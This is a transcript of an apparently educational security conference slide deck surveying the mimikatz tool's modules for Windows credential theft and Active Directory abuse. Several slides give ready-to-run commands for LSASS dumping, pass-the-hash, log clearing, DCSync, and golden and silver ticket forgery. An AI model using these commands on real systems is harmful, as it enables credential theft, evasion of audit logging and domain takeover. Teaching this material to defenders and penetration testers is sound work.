Mimikatz

Just another presentation on mimikatz

Transcript

1. Sydney Level 8, 59 Goulburn Street Sydney NSW 2000 Melbourne Level 15, 401 Docklands Drive Docklands VIC 3008 Tel. 1300 922 923 Intl. +61 2 9290 4444 www.senseofsecurity.com.au Sense of Security Pty Ltd ABN 14 098 237 908 @ITSecurityAU Compliance, Protection & Business Confidence 31 August 18 mimikatz A little tool to play with Windows security Prashant Mahajan
2. 31 August 18 https://www.redbubble.com/people/gentilkiwi/portfolio
3. Answer to the Ultimate Question of Life, the Universe, and Everything 31 August 18 Mimikatz is
4. 31 August 18 Coffee J
5. 31 August 18 Minesweeper J https://twitter.com/M_haggis/status/1032798552517423105
6. 31 August 18 mimikatz https://github.com/gentilkiwi/mimikatz
7. • Benjamin DELPY, you can contact him on Twitter (@gentilkiwi) or by mail (benjamin [at] gentilkiwi.com) or visit his blog (http://blog.gentilkiwi.com/) • Vincent LE TOUX, a few contributions to mimikatz including the DCSync function in lsadump module, you contact him on Twitter (@mysmartlogon) or by mail (vincent.letoux [at] gmail.com) or visit his website (http://www.mysmartlogon.com) 31 August 18 Authors
8. Agenda 31 August 18 • sekurlsa::logonpasswords • Just scratching the surface on the capabilities • SekurLSA module • Event module • DCSync • Golden Ticket • Silver Ticket • Skeleton Key • SIDHistory • DCShadow
9. • After a user logs on, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. • This is meant to facilitate Single Sign-On (SSO) ensuring a user isn’t prompted each time resource access is requested. • The credential data may include Kerberos tickets, NTLM password hashes, LM password hashes (if the password is <15 characters, depending on Windows OS version and patch level), and even clear-text passwords to support WDigest and SSP authentication among others. 31 August 18 Credentials in Memory ? ! https://adsecurity.org/?page_id=1821
10. 31 August 18 Credential Data Chart Benjamin Delpy posted an Excel chart on OneDrive (no longer available) http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png
11. 31 August 18 sekurlsa::logonpasswords
12. 31 August 18 Malicious https://twitter.com/gentilkiwi/status/937384097642635264 https://www.virustotal.com/#/file/e46ba4bdd4168a399ee5bc2161a8c918095fa30eb20ac88cac6ab1d6dbea2b4a/detection
13. 31 August 18 EXE / PS1 / DLL https://twitter.com/gentilkiwi/status/887823565046910977 https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/
14. procdump.exe -accepteula -ma lsass.exe lsass.dmp sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords 31 August 18 ProcDump or Task Manager https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
15. 31 August 18 No Debug Privs ? !
16. 31 August 18 No Debug Privs ? ! https://twitter.com/gentilkiwi/status/1032161555964723200 https://twitter.com/gentilkiwi/status/1032270189444911104
17. The Local Security Authority (LSA), which resides within the Local Security Authority Security Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages. This protected process setting for LSA can be configured in Windows 8.1 but is on by default in Windows RT 8.1 and cannot be changed. 31 August 18 RunAsPPL https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/credentials-protection-and-management
18. privilege::debug !processprotect /process:lsass.exe /remove sekurlsa::logonpasswords J 31 August 18 RunAsPPL
19. 31 August 18 SekurLSA module
20. 31 August 18 Pass the Hash sekurlsa::pth /user:da /domain:sos.labs /ntlm:eaabfdbde55b39c1a9b8d6786afd251e /run:powershell.exe
21. privilege::debug Get Debug Privs J event::drop Patch Events service to avoid new events. event::clear Clear the event log without any log cleared event (1102) being logged. 31 August 18 Event module
22. 31 August 18 LSADump module
23. 31 August 18 SAM
24. 31 August 18 Cache
25. 31 August 18 DCSync lsadump::dcsync /domain:sos.labs /all /csv
26. 31 August 18 kerberos module
27. 31 August 18 https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf
28. • A Golden Ticket (GT) is a TGT using the KRBTGT NTLM password hash to encrypt and sign. • A GT can be created to impersonate any user (real or imagined) in the domain as a member of any group in the domain (providing a virtually unlimited amount of rights) to any and every resource in the domain. • Since the GT is an authentication ticket, its scope is the entire domain (and the AD forest by leveraging SID History) since the TGT is used to get service tickets (TGS) used to access resources. • The GT contains user group membership information (PAC) and is signed and encrypted using the domain’s Kerberos service account (KRBTGT) which can only be opened and read by the KRBTGT account. 31 August 18 Golden Ticket https://adsecurity.org/?page_id=1821
29. To summarize, once an attacker gets access to the KRBTGT password NTLM/RC4/AES128/AES256, they can create Golden Tickets (TGT) that can provide access to anything in AD at any time. Mimikatz adds the following groups to the ticket by default: • Domain Users SID: S-1-5-21<DOMAINID>-513 • Domain Admins SID: S-1-5-21<DOMAINID>-512 • Schema Admins SID: S-1-5-21<DOMAINID>-518 • Enterprise Admins SID: S-1-5-21<DOMAINID>-519 (this is only effective when the forged ticket is created in the Forest root domain, though add using /sids parameter for AD forest admin rights) • Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520 31 August 18 Golden Ticket https://adsecurity.org/?page_id=1821
30. kerberos::golden /user:doesnotexist /domain:sos.labs /id:9999 /sid:S-1-5-21-2872888145-3513486857-3924934394 /krbtgt:99d196d2968eb268cb69529153a48623 /ptt • /user – account to be impersonated or any username • /id – RID of the account to be impersonated. This could be a real account ID, such as the default administrator ID of 500, or a fake ID. • /groups - list of groups to which the account in the ticket will belong • /sids – to insert a SID into the SIDHistory attribute of the account in the ticket • /ptt – Pass the Ticket to load the golden ticket into the current session 31 August 18 Golden Ticket
31. A Silver Ticket is a TGS (similar to TGT in format) using the AD computer/service account (can be identified by SPN) NTLM password hash to encrypt and sign. Mimikatz adds the following groups to the ticket by default: • Domain Users SID: S-1-5-21<DOMAINID>-513 • Domain Admins SID: S-1-5-21<DOMAINID>-512 • Schema Admins SID: S-1-5-21<DOMAINID>-518 • Enterprise Admins SID: S-1-5-21<DOMAINID>-519 (this is only effective when the forged ticket is created in the Forest root domain, though add using /sids parameter for AD forest admin rights) • Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520 31 August 18 Silver Ticket https://adsecurity.org/?page_id=1821
32. kerberos::golden /user:user1 /domain:sos.labs /id:1108 /sid:S-1-5-21-2872888145-3513486857-3924934394 /target:dc1.sos.labs /rc4:fbdcd5041c96ddbd82224270b57f11fc /server:http /ptt • /target –the host (SPN value). sos.labs domain has dc1.sos.labs • /service –the name of the service that we will create tickets for (must be a service running as the service account) • /user –the user that the ticket will be created for, and this can be any user account whatsoever, even user accounts that do not exist • /groups - list of groups to which the account in the ticket will belong to. Domain Admins is included by default • /rc4 – NTLM hash of the account or /aes128 /aes256 keys 31 August 18 Silver Ticket
33. 31 August 18 Misc module
34. 31 August 18 DisableCMD
35. 31 August 18 Clip
36. • Inject Skeleton Key into LSASS process on Domain Controller. • This enables all user authentication to the Skeleton Key patched DC to use a “master password (mimikatz)” (aka Skeleton Keys) as well as their usual password. • Reboot removes the Skeleton Key injection. 31 August 18 Skeleton Key
37. 31 August 18 Security Identifiers (SID) module
38. 31 August 18 SIDHistory
39. 31 August 18 SIDHistory
40. 31 August 18 SIDHistory
41. Start the mimidrv service Elevate to SYSTEM 31 August 18 DCShadow
42. 31 August 18 DCShadow
43. Running as SYSTEM 31 August 18 DCShadow
44. Running as Domain Admin 31 August 18 DCShadow
45. 31 August 18 DCShadow
46. What can you do ? • Add user to privileged groups such as Domain Admins, Enterprise Admins • Add SIDHistory • Change PrimaryGroupID • Etc 31 August 18 DCShadow
47. The following permissions on AD Object’s are required: Domain object • DS-Install-Replica (Add/Remove Replica in Domain) • DS-Replication-Manage-Topology (Manage Replication Topology) • DS-Replication-Synchronize (Replication Synchornization) Sites object in the Configuration container • CreateChild and DeleteChild Computer object of the attacker's machine (which is registered as a Fake DC) • WriteProperty Target object (user or computer or ADSPath) • WriteProperty 31 August 18 DCShadow https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1
48. 31 August 18
49. 31 August 18 Privilege module
50. 31 August 18 Crypto Module
51. mimikatz # privilege::debug Privilege '20' OK mimikatz # crypto::cng "KeyIso" service patched mimikatz # crypto::capi Local CryptoAPI patched mimikatz # crypto::certificates /export * System Store : 'CURRENT_USER' (0x00010000) * Store : 'My' mimikatz # crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE mimikatz # crypto::keys /export 31 August 18
52. 31 August 18 net module
53. 31 August 18 Process module
54. 31 August 18 RPC module
55. 31 August 18 Service module
56. 31 August 18 System Environment Value module
57. 31 August 18 Token manipulation module
58. 31 August 18 Terminal Server module
59. 31 August 18 IIS XML Config module
60. 31 August 18 Data Protection API module
61. Sydney Level 8, 59 Goulburn Street Sydney NSW 2000 Melbourne Level 15, 401 Docklands Drive Docklands VIC 3008 Tel. 1300 922 923 Intl. +61 2 9290 4444 www.senseofsecurity.com.au Sense of Security Pty Ltd ABN 14 098 237 908 @ITSecurityAU Security, it’s all we do. Knowledge, Experience & Trust. Questions?
62. Sydney Level 8, 59 Goulburn Street Sydney NSW 2000 Melbourne Level 15, 401 Docklands Drive Docklands VIC 3008 Tel. 1300 922 923 Intl. +61 2 9290 4444 www.senseofsecurity.com.au Sense of Security Pty Ltd ABN 14 098 237 908 @ITSecurityAU Security, it’s all we do. Knowledge, Experience & Trust. Thank You! © 2002 – 2018 Sense of Security Pty Limited. All rights reserved. Some images used under license from Shutterstock.com or with permission from respective trademark owners. No part of this publication may be reproduced, distributed, or transmitted in any form or by any means, including photocopying, recording, or other electronic or mechanical methods, without the prior written permission of the publisher.